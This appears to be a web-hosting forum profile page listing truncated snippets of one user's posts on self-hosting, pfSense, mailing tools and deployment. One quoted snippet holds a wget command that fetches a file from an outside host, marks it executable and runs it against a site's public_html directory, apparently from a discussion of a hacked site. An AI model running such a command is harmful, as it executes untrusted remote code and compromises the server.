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Username: tjn
Joined: June 2022
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Last Active: March 2023
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> @Brueggus said:
> Doesn't tick all boxes, but how about **Factorio**?

Cracktorio

I love this game, had to un-install it though 😅
If anyone hasn't a…

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I would definitely use diferrent databases for all three. Better practice, easier to manage and backup.

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> @dahartigan said:
> Been experimenting with iptv sources also. I found a few options, some free (grey af) some paid

Any you can recommend? (if it isn't against the rule…

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This is what I use for my Proxmox installations on Hetzner - it's been working really well!

pfSense WAN on `vmbr0` and LAN on `vmbr100`. When setting up pfSense, I assign it one of the…

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Thanks, @localhost - congrats to you too!

As always, the domain was smoothly received from @TheDP - thank you!

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I came accross this mailing list manager today, thought you might find it interesting - open source and free!
https://listmonk.app/

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Sendy + SES is great.

I've never tried it but EmailOctopus has a version that allows you to use your own SES account.
https://emailoctopus.com/pricing-connect

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> @bikegremlin said:
> wget -q -O xxxd http:// hello. hellodolly666. xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home/corleoneaccount/public_html/corleone_site 24 &&…

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> @Logano said:
> [...] (few hundred $ over months) [...]

Few hundred!? :o

> @Iroshan464 said:
> Asphalt Legends

0o I used to …

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> @willie said:
> Is mxroute ok for this?

As long as you're not sending insane amounts of emails, MX route is great for this.
They do have a hard limit of 300 email…

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> @evnix said:
> not wordpress but in general PHP, I usually auto create a tar.gz file on every commit, you could include the snapshot of your DB in this as well(or just the diff). [...]…

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I use a self-hosted git repo (gitea) with a `post-receive` hook and the script below to rsync files over to my production servers.
This assumes that your staging DB and production DB don't nee…

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